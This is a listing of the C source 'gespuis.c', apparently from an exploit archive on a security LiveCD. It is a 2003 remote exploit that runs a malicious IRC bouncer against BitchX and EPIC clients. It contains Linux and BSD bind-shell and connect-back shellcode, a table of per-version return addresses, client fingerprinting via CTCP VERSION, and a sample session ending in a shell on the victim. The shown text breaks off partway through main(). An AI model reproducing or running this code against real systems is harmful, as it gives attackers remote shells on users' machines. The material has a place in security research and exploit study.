home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bitchx / gespuis.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  25KB  |  854 lines

  1. /* _ ________ _____ ______ 06-03-2003
  2.  __ ___ ____ /____.------` /_______.------.___.----` ___/____ ____
  3. ___
  4.  _/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
  5.  ___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____
  6.  _
  7.  - -------\______||--._____\---._______//-|__ //-.___|----._____||
  8.  / \ /
  9.  remote BitchX/Epic Exploit (serverside) \/ by eSDee of Netric
  10.  ------------------------------------------------------------------------------
  11. -
  12.  (www.netric.be|org)
  13.  
  14.  "gespuis.c" is an irc bouncer, that can exploit BitchX/Epic clients.
  15.  Copyright (c) 2003 Netric Security
  16.  All rights reserved.
  17.  
  18.  [esdee@flopppp]$ ./gespuis -v irc.netric.org
  19.  [remote BitchX/Epic exploit (serverside) by eSDee of Netric
  20. (www.netric.be|org)]
  21.  ------------------------------------------------------------------------------
  22. -
  23.  Verbose mode.
  24.  Waiting for connections...
  25.  [10.0.0.2] Connected... [esdee]
  26.  [10.0.0.2] Sending CTCP VERSION...
  27.  [10.0.0.2] Client version: BitchX-1.0c17+ by panasync - OpenBSD 3.2
  28.  [10.0.0.2] Target found. [ret: 0xcfbf7c1c]
  29.  [10.0.0.2] Bindshell is running on port 0xb0ef(45295).
  30.  
  31.  [esdee@flopppp]$ telnet 10.0.0.2 45295
  32.  Trying 10.0.0.2...
  33.  Connected to 10.0.0.2.
  34.  Escape character is '^]'.
  35.  uname -a; id;
  36.  OpenBSD pant0ffel 3.2 pant0ffel#1 i386
  37.  uid=1000(esdee) gid=1000(esdee) groups=1000(esdee), 0(wheel)
  38. */
  39.  
  40. #include <stdio.h>
  41. #include <stdlib.h>
  42. #include <string.h>
  43. #include <stdarg.h>
  44. #include <signal.h>
  45. #include <unistd.h>
  46. #include <netdb.h>
  47. #include <ctype.h>
  48. #include <netinet/in.h>
  49. #include <arpa/inet.h>
  50. #include <sys/wait.h>
  51. #include <sys/types.h>
  52. #include <sys/socket.h>
  53.  
  54. char
  55. jmp_code[] =
  56.  
  57.  /* jumps 0xff bytes ahead.. */
  58.  "\xeb\x09\x58\x31\xdb\xb3\xff\x01\xd8\xff\xe0\xe8\xf2\xff\xff\xff";
  59.  
  60. char
  61. BSD_bindcode[] =
  62.  
  63.  /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
  64.  "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
  65.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  66.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  67.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  68.  "\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
  69.  "\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
  70.  "\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
  71.  "\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
  72.  "\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
  73.  "\x01\xcd\x80"
  74.  
  75.  /* forking bindcode (port 0xb0ef)*/
  76.  "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
  77.  "\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"
  78.  "\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"
  79.  "\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"
  80.  "\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"
  81.  "\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
  82.  "\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
  83.  "\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"
  84.  "\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
  85.  "\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
  86.  "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"
  87.  "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"
  88.  "\xeb\x9a";
  89.  
  90. char
  91. BSD_connect_back[] =
  92.  
  93.  /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
  94.  "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
  95.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  96.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  97.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  98.  "\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68\x2d\x63\x89\xe3\x50"
  99.  "\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50\x89\xe1\x31\xc0\x50"
  100.  "\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68\x54\x45\x52\x4d\x89"
  101.  "\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
  102.  "\x69\x89\xe3\x50\x52\x51\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0"
  103.  "\x01\xcd\x80"
  104.  
  105.  /* connect back shellcode (port=0xb0ef) */
  106.  "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"
  107.  "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"
  108.  "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"
  109.  "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  110.  "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"
  111.  "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"
  112.  "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"
  113.  "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
  114.  
  115. char
  116. linux_bindcode[] =
  117.  
  118.  /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
  119.  "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
  120.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  121.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  122.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  123.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"
  124.  "\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"
  125.  "\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"
  126.  "\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"
  127.  "\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"
  128.  "\x01\xcd\x80"
  129.  
  130.  /* forking bindcode (port 0xb0ef)*/
  131.  "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
  132.  "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
  133.  "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
  134.  "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
  135.  "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
  136.  "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
  137.  "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
  138.  "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
  139.  "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
  140.  "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
  141.  "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
  142.  "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
  143.  "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
  144.  
  145. char
  146. linux_connect_back[] =
  147.  
  148.  /* fork(), execve sh -c [client] [host to bounce to], term=xterm */
  149.  "\x31\xc0\x31\xff\xb0\x02\xcd\x80\x39\xc7\x74\x7e\x31\xc0\x50"
  150.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  151.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  152.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20"
  153.  "\x68\x20\x20\x20\x20\x68\x20\x20\x20\x20\x89\xe1\x50\x66\x68"
  154.  "\x2d\x63\x89\xe3\x50\x66\x68\x73\x68\x89\xe0\x57\x51\x53\x50"
  155.  "\x89\xe1\x31\xc0\x50\x66\x68\x72\x6d\x68\x3d\x78\x74\x65\x68"
  156.  "\x54\x45\x52\x4d\x89\xe2\x50\x52\x89\xe2\x57\x68\x6e\x2f\x73"
  157.  "\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80\x31\xc0\xb0"
  158.  "\x01\xcd\x80"
  159.  
  160.  /* connect back shellcode (port=0xb0ef) */
  161.  "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
  162.  "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  163.  "\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"
  164.  "\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  165.  "\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  166.  "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  167.  "\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  168.  "\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  169.  "\x01\xcd\x80";
  170.  
  171. struct {
  172.  char *version;
  173.  unsigned long ret;
  174.  unsigned long mprotect;
  175.  char *shellcode;
  176.  int type;
  177. } targets[] = {
  178.  
  179.  /* FreeBSD targets tested on:
  180.  - FreeBSD 4.7-RELEASE-p3
  181.  - FreeBSD 4.6.2-RELEASE
  182.  - FreeBSD 4.6
  183.  - FreeBSD 4.5-RELEASE
  184.  
  185.  OpenBSD targets:
  186.  - OpenBSD 3.2
  187.  - OpenBSD 3.1
  188.  - OpenBSD 3.0
  189.  - OpenBSD 2.x
  190.  
  191.  Linux targets:
  192.  - Redhat 8.0
  193.  - Redhat 7.x
  194.  - Debian 3.0
  195.  - Mandrake 8.x
  196.  - Mandrake 9.0
  197.  - Slackware 8.x
  198.  - Trustix 1.x
  199.  
  200.  Types:
  201.  0 - BitchX (Linux)
  202.  1 - BitchX (BSD)
  203.  2 - BitchX (BSD - Return into libc - mprotect() (To break the k-rad
  204. theo protection :)
  205.  3 - Epic (Linux)
  206.  4 - Epic (BSD)
  207.  5 - Epic (BSD - Return into libc - mprotect())
  208.  */
  209.  
  210.  /* Auto targets */
  211.  
  212.  { "BitchX-1.0c19+ by panasync - Linux 2.", 0xbfff9bd8, 0x00000000,
  213. linux_bindcode, 0},
  214.  { "BitchX-1.0c18+ by panasync - Linux 2.", 0xbfff9bd8, 0x00000000,
  215. linux_bindcode, 0},
  216.  { "BitchX-1.0c17+ by panasync - Linux 2.", 0xbfff9bd8, 0x00000000,
  217. linux_bindcode, 0},
  218.  { "BitchX-1.0c16+ by panasync - Linux 2.", 0xbfff9bd8, 0x00000000,
  219. linux_bindcode, 0},
  220.  { "BitchX-1.0c19+ by panasync - FreeBSD 5", 0xbfbf9c8c, 0x00000000,
  221. BSD_bindcode, 1},
  222.  { "BitchX-1.0c18+ by panasync - FreeBSD 5", 0xbfbf9c8c, 0x00000000,
  223. BSD_bindcode, 1},
  224.  { "BitchX-1.0c17+ by panasync - FreeBSD 5", 0xbfbf9c8c, 0x00000000,
  225. BSD_bindcode, 1},
  226.  { "BitchX-1.0c16+ by panasync - FreeBSD 5", 0xbfbf9c8c, 0x00000000,
  227. BSD_bindcode, 1},
  228.  { "BitchX-1.0c19+ by panasync - FreeBSD 4", 0xbfbf9c8c, 0x00000000,
  229. BSD_bindcode, 1},
  230.  { "BitchX-1.0c18+ by panasync - FreeBSD 4", 0xbfbf9c8c, 0x00000000,
  231. BSD_bindcode, 1},
  232.  { "BitchX-1.0c17+ by panasync - FreeBSD 4", 0xbfbf9c8c, 0x00000000,
  233. BSD_bindcode, 1},
  234.  { "BitchX-1.0c16+ by panasync - FreeBSD 4", 0xbfbf9c8c, 0x00000000,
  235. BSD_bindcode, 1},
  236.  { "BitchX-1.0c19+ by panasync - OpenBSD 3.2", 0xcfbf7c1c, 0x401ec230,
  237. BSD_bindcode, 2},
  238.  { "BitchX-1.0c18+ by panasync - OpenBSD 3.2", 0xcfbf7c1c, 0x401ce230,
  239. BSD_bindcode, 2},
  240.  { "BitchX-1.0c17+ by panasync - OpenBSD 3.2", 0xcfbf7c1c, 0x401cb230,
  241. BSD_bindcode, 2},
  242.  { "BitchX-1.0c16+ by panasync - OpenBSD 3.2", 0xcfbf7c1c, 0x401cb230,
  243. BSD_bindcode, 2},
  244.  { "BitchX-1.0c19+ by panasync - OpenBSD 3", 0xdfbf7f34, 0x00000000,
  245. BSD_bindcode, 1},
  246.  { "BitchX-1.0c18+ by panasync - OpenBSD 3", 0xdfbf7f34, 0x00000000,
  247. BSD_bindcode, 1},
  248.  { "BitchX-1.0c17+ by panasync - OpenBSD 3", 0xdfbf7f34, 0x00000000,
  249. BSD_bindcode, 1},
  250.  { "BitchX-1.0c16+ by panasync - OpenBSD 3", 0xdfbf7f34, 0x00000000,
  251. BSD_bindcode, 1},
  252.  { "BitchX-1.0c19+ by panasync - OpenBSD 2", 0xdfbf7f34, 0x00000000,
  253. BSD_bindcode, 1},
  254.  { "BitchX-1.0c18+ by panasync - OpenBSD 2", 0xdfbf7f34, 0x00000000,
  255. BSD_bindcode, 1},
  256.  { "BitchX-1.0c17+ by panasync - OpenBSD 2", 0xdfbf7f34, 0x00000000,
  257. BSD_bindcode, 1},
  258.  { "BitchX-1.0c16+ by panasync - OpenBSD 2", 0xdfbf7f34, 0x00000000,
  259. BSD_bindcode, 1},
  260.  { "ircII EPIC4-1.1.10 Linux 2.", 0xbfffddf0, 0x00000000, linux_bindcode,
  261. 3},
  262.  { "ircII EPIC4-1.1.7 Linux 2.", 0xbfffddf0, 0x00000000, linux_bindcode,
  263. 3},
  264.  { "ircII EPIC4-1.1.6 Linux 2.", 0xbfffddf0, 0x00000000, linux_bindcode,
  265. 3},
  266.  { "ircII EPIC4-1.1.10 FreeBSD 4", 0xbfbfdf64, 0x00000000, BSD_bindcode,
  267. 4},
  268.  { "ircII EPIC4-1.1.7 FreeBSD 4", 0xbfbfdf64, 0x00000000, BSD_bindcode,
  269. 4},
  270.  { "ircII EPIC4-1.1.6 FreeBSD 4", 0xbfbfdf64, 0x00000000, BSD_bindcode,
  271. 4},
  272.  { "ircII EPIC4-1.1.10 OpenBSD 3.2", 0xcfbf6d74, 0x4026b230,
  273. BSD_bindcode, 5},
  274.  { "ircII EPIC4-1.1.7 OpenBSD 3.2", 0xcfbfbe64, 0x40265230, BSD_bindcode,
  275. 5},
  276.  { "ircII EPIC4-1.1.6 OpenBSD 3.2", 0xcfbfbe64, 0x40264230, BSD_bindcode,
  277. 5},
  278.  { "ircII EPIC4-1.1.10 OpenBSD 3", 0xdfbf7094, 0x00000000, BSD_bindcode,
  279. 4},
  280.  { "ircII EPIC4-1.1.7 OpenBSD 3", 0xdfbf7094, 0x00000000, BSD_bindcode,
  281. 4},
  282.  { "ircII EPIC4-1.1.6 OpenBSD 3", 0xdfbf7094, 0x00000000, BSD_bindcode,
  283. 4},
  284.  
  285.  /* manual targets (thanks lucipher and thorax!) */
  286.  
  287.  { "BitchX-1.0cX - Redhat 8.0", 0xbfff9bd8, 0x00000000, linux_bindcode,
  288. 1},
  289.  { "BitchX-1.0cX - Redhat 7.x", 0xbfff9bd8, 0x00000000, linux_bindcode,
  290. 1},
  291.  { "BitchX-1.0cX - Debian 3.x", 0xbfff9f0c, 0x00000000, linux_bindcode,
  292. 1},
  293.  { "BitchX-1.0cX - Mandrake 9.0", 0xbfff9af0, 0x00000000, linux_bindcode,
  294. 1},
  295.  { "BitchX-1.0cX - Mandrake 8.x", 0xbfff9af0, 0x00000000, linux_bindcode,
  296. 1},
  297.  { "BitchX-1.0cX - Slackware 8.x", 0xbfff9bd8, 0x00000000,
  298. linux_bindcode, 1},
  299.  { "BitchX-1.0cX - Trustix 1.x", 0x7fff9ddc, 0x00000000, linux_bindcode,
  300. 1},
  301.  { "ircII EPIC4-1.1.x Redhat 8.0", 0xbfffdf64, 0x00000000,
  302. linux_bindcode, 3},
  303.  { "ircII EPIC4-1.1.x Redhat 7.x", 0xbfffdf64, 0x00000000,
  304. linux_bindcode, 3},
  305.  { "ircII EPIC4-1.1.x Debian 3.x", 0xbfff9004, 0x00000000,
  306. linux_bindcode, 3},
  307.  { "ircII EPIC4-1.1.x Mandrake 9.0", 0xbfffdf10, 0x00000000,
  308. linux_bindcode, 3},
  309.  { "ircII EPIC4-1.1.x Mandrake 8.x", 0xbfffdf10, 0x00000000,
  310. linux_bindcode, 3},
  311.  { "ircII EPIC4-1.1.x Slackware 8.x", 0xbfffddf0, 0x00000000,
  312. linux_bindcode, 3},
  313.  { "ircII EPIC4-1.1.x Trustix 1.x", 0x7fff8f74, 0x00000000,
  314. linux_bindcode, 3},
  315.  { "Crash - All platforms", 0xBADe5Dee, 0x00000000, linux_bindcode, 0},
  316. };
  317.  
  318. FILE *log = NULL;
  319.  
  320. void
  321. usage(char *prog)
  322. {
  323.  fprintf(stderr, "Usage : %s [-c ip address] [-l file] [-p port] [-t
  324. target] [-v] <ircd:port>\n"
  325.  "Example: %s -l /var/log/owned -p 6667 -v irc.netric.org:6668\n\n"
  326.  "-c ip address connect back shellcode (port 45295)\n"
  327.  "-l logfile log output to file\n"
  328.  "-p port the bouncer port\n"
  329.  "-t target force target, don't CTCP version. (Use -t0 for a list)\n"
  330.  "-v verbose mode\n\n", prog, prog);
  331.  exit(1);
  332. }
  333.  
  334. int
  335. send_text(int sock, char *format, ... )
  336. {
  337.  char buffer[4096];
  338.  va_list arglist;
  339.  va_start (arglist, format);
  340.  vsnprintf(buffer, sizeof(buffer) - 1, format, arglist );
  341.  va_end(arglist);
  342.  return send(sock, buffer, strlen(buffer), 0);
  343. }
  344.  
  345. int
  346. main(int argc, char *argv[])
  347. {
  348.  char read_buf [4096];
  349.  char log_buffer [1200];
  350.  char ret_buffer [128];
  351.  char buffer [600];
  352.  
  353.  char sh_buffer [2000];
  354.  char sh_host [36];
  355.  
  356.  char version [256];
  357.  char nick [256];
  358.  char user [256];
  359.  char ircd_host [256];
  360.  
  361.  char *ptr;
  362.  
  363.  unsigned int port = 6667;
  364.  unsigned int ircd_port = 6667;
  365.  unsigned int type = 0;
  366.  unsigned int bytes = 0;
  367.  
  368.  struct sockaddr_in saddr_in1;
  369.  struct sockaddr_in saddr_in2;
  370.  struct sockaddr_in saddr_in3;
  371.  
  372.  struct hostent *hp;
  373.  
  374.  int sock_server = 0;
  375.  int sock_server_new = 0;
  376.  int sock_ircd = 0;
  377.  
  378.  int sin_size = sizeof(struct sockaddr_in);
  379.  int i = 0;
  380.  int k = 0;
  381.  int size = 0;
  382.  int opt = 0;
  383.  int verbose = 0;
  384.  int connectback = 0;
  385.  int ip1 = 0;
  386.  int ip2 = 0;
  387.  int ip3 = 0;
  388.  int ip4 = 0;
  389.  
  390.  fd_set fd_read;
  391.  
  392.  fprintf(stdout, "[remote BitchX/Epic exploit (serverside) by eSDee of
  393. Netric (www.netric.be|org)]\n"
  394.  "-----------------------------------------------------------------------------
  395. --\n");
  396.  
  397.  while((opt = getopt(argc,argv,"c:l:p:t:v")) !=EOF) {
  398.  switch(opt) {
  399.  
  400.  case 'c':
  401.  sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
  402.  
  403.  linux_connect_back[171] = ip1; BSD_connect_back[162] = ip1;
  404.  linux_connect_back[172] = ip2; BSD_connect_back[163] = ip2;
  405.  linux_connect_back[173] = ip3; BSD_connect_back[164] = ip3;
  406.  linux_connect_back[174] = ip4; BSD_connect_back[165] = ip4;
  407.  
  408.  for(i = 0; i < sizeof(targets) / 20; i++) {
  409.  switch(targets[i].type) {
  410.  case 0:
  411.  targets[i].shellcode = linux_connect_back;
  412.  break;
  413.  case 3:
  414.  targets[i].shellcode = linux_connect_back;
  415.  break;
  416.  default:
  417.  targets[i].shellcode = BSD_connect_back;
  418.  break;
  419.  }
  420.  }
  421.  
  422.  fprintf(stdout, "Connecting to: %d.%d.%d.%d:45295\n", ip1, ip2, ip3,
  423. ip4);
  424.  connectback = 1;
  425.  break;
  426.  case 'l':
  427.  if ((log = fopen(optarg,"aw")) == NULL) {
  428.  fprintf(stderr, "Unable to open %s.\n", optarg);
  429.  return -1;
  430.  }
  431.  break;
  432.  case 'p':
  433.  port=atoi(optarg);
  434.  if ((port <= 0) || (port > 65535)) {
  435.  fprintf(stderr,"Invalid port.\n");
  436.  return -1;
  437.  }
  438.  break;
  439.  case 't':
  440.  type = atoi(optarg);
  441.  if (type == 0 || type > sizeof(targets) / 20) {
  442.  for(i = 0; i < sizeof(targets) / 20; i++)
  443.  fprintf(stderr, "%02d. [0x%08x] - %s\n", i + 1,
  444.  (unsigned)targets[i].ret, targets[i].version);
  445.  fprintf(stderr, "\n");
  446.  return -1;
  447.  }
  448.  
  449.  fprintf(stdout, "Selected: %s [0x%08x]\n", targets[type - 1].version,
  450. (unsigned)targets[type - 1].ret);
  451.  break;
  452.  case 'v':
  453.  fprintf(stdout, "Verbose mode.\n");
  454.  verbose = 1;
  455.  break;
  456.  default:
  457.  usage(argv[0] == NULL ? "gespuis" : argv[0]);
  458.  break;
  459.  }
  460.  }
  461.  
  462.  if (argv[optind] == NULL) usage(argv[0] == NULL ? "gespuis" : argv[0]);
  463.  
  464.  
  465.  sscanf(argv[optind], "%255[^:]:%u", ircd_host, &ircd_port);
  466.  
  467.  if ((ircd_port <= 0) || (ircd_port > 65535)) {
  468.  fprintf(stderr,"Invalid ircd port.\n");
  469.  return -1;
  470.  }
  471.  
  472.  if ((hp = gethostbyname(ircd_host)) == NULL) {
  473.  fprintf(stderr, "Unable to resolve %s...\n", ircd_host);
  474.  return -1;
  475.  }
  476.  
  477.  memset((char *)&saddr_in3, 0x0, sizeof(saddr_in3));
  478.  memcpy((char *)&saddr_in3.sin_addr, hp->h_addr, hp->h_length);
  479.  
  480.  saddr_in3.sin_family = AF_INET;
  481.  saddr_in3.sin_port = htons(ircd_port);
  482.  
  483.  if ((sock_server = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  484.  fprintf(stderr, "socket error.\n");
  485.  return -1;
  486.  }
  487.  
  488.  setsockopt(sock_server, SOL_SOCKET, SO_REUSEADDR, &sin_size,
  489. sizeof(sin_size));
  490.  
  491.  saddr_in1.sin_family = AF_INET;
  492.  saddr_in1.sin_port = htons(port);
  493.  saddr_in1.sin_addr.s_addr = INADDR_ANY;
  494.  
  495.  memset(&saddr_in1.sin_zero, 0x0, 8);
  496.  
  497.  if (bind(sock_server, (struct sockaddr *)&saddr_in1, sizeof(struct
  498. sockaddr)) == -1) {
  499.  fprintf(stderr, "bind error.\n");
  500.  return -1;
  501.  }
  502.  
  503.  if (listen(sock_server, 10) == -1) {
  504.  fprintf(stderr, "listen.\n");
  505.  return -1;
  506.  }
  507.  
  508.  signal(SIGCHLD, SIG_IGN);
  509.  
  510.  fprintf(stdout, "Waiting for connections...\n");
  511.  
  512.  while(1) {
  513.  
  514.  if ((sock_server_new = accept(sock_server, (struct sockaddr
  515. *)&saddr_in2, &sin_size)) == -1) {
  516.  perror("accept");
  517.  continue;
  518.  }
  519.  
  520.  if (!fork()) {
  521.  
  522.  close(sock_server);
  523.  
  524.  memset(version, 0x0, sizeof(version));
  525.  memset(read_buf, 0x0, sizeof(read_buf));
  526.  
  527.  while(1) {
  528.  
  529.  if (recv(sock_server_new, read_buf, sizeof(read_buf) - 1, 0) < 0) {
  530.  close(sock_server_new);
  531.  exit(1);
  532.  }
  533.  
  534.  ptr = strstr(read_buf, "NICK ");
  535.  
  536.  if (ptr != NULL) {
  537.  memset(nick, 0x00, sizeof(nick));
  538.  strncpy(nick, ptr + 5, sizeof(nick) - 1);
  539.  
  540.  for (i = 0; i < strlen(nick); i++)
  541.  if(!isprint(nick[i])) nick[i] = 0x00;
  542.  
  543.  if (verbose == 1) fprintf(stdout, "[%s] Connected... [%s]\n",
  544.  inet_ntoa(saddr_in2.sin_addr), nick);
  545.  }
  546.  
  547.  ptr = strstr(read_buf, "USER ");
  548.  
  549.  if (ptr != NULL) {
  550.  memset(user, 0x00, sizeof(user));
  551.  strncpy(user, ptr + 5, sizeof(user) - 1);
  552.  
  553.  for (i = 0; i < strlen(user); i++)
  554.  if (!isprint(user[i])) user[i] = 0x00;
  555.  }
  556.  
  557.  if (strlen(nick) != 0 && strlen(user) != 0) break;
  558.  memset(read_buf, 0x0, sizeof(read_buf));
  559.  }
  560.  
  561.  if (type == 0) {
  562.  
  563.  if (verbose == 1) fprintf(stdout, "[%s] Sending CTCP VERSION...\n",
  564. inet_ntoa(saddr_in2.sin_addr));
  565.  
  566.  if (send_text(sock_server_new, ":stats!netric@netric.org PRIVMSG a:
  567. %cVERSION%c\n", 0x01, 0x01) < 0) {
  568.  if (verbose == 1) fprintf(stderr, "[%s] send failed!\n",
  569. inet_ntoa(saddr_in2.sin_addr));
  570.  close(sock_server_new);
  571.  exit(1);
  572.  }
  573.  
  574.  while(1) {
  575.  
  576.  if (recv(sock_server_new, read_buf, sizeof(read_buf) - 1, 0) < 0) {
  577.  close(sock_server_new);
  578.  exit(1);
  579.  }
  580.  
  581.  ptr = strstr(read_buf, "VERSION ");
  582.  
  583.  if (ptr != NULL) {
  584.  
  585.  for (i = 0; i < sizeof(version) - 1; i++) {
  586.  if (isprint(*(ptr + i + 8))) {
  587.  version[k] = *(ptr + i + 8);
  588.  k++;
  589.  }
  590.  
  591.  if (*(ptr + i + 8) == ':' && *(ptr + i + 7) == ' ') {
  592.  version[k - 2] = 0x00;
  593.  break;
  594.  }
  595.  
  596.  if (*(ptr + i + 8) == '-' && *(ptr + i + 9) == ' ' &&
  597.  *(ptr + i + 10) == 'A' && *(ptr + i + 11) == 'c') {
  598.  version[k - 2] = 0x00;
  599.  break;
  600.  }
  601.  }
  602.  
  603.  if (verbose == 1) fprintf(stdout, "[%s] Client version: %s\n",
  604. inet_ntoa(saddr_in2.sin_addr), version);
  605.  break;
  606.  }
  607.  
  608.  memset(read_buf, 0x0, sizeof(read_buf))
  609. ;
  610.  }
  611.  
  612.  if (strlen(version) == 0) {
  613.  if (verbose == 1) fprintf(stderr, "[%s] No version given.\n",
  614. inet_ntoa(saddr_in2.sin_addr));
  615.  close(sock_server_new);
  616.  exit(1);
  617.  }
  618.  
  619.  for(i = 0; i < (sizeof(targets) / 20) - 1; i++) {
  620.  if (memcmp(version, targets[i].version, strlen(targets[i].version)) ==
  621. 0) {
  622.  type = i + 1;
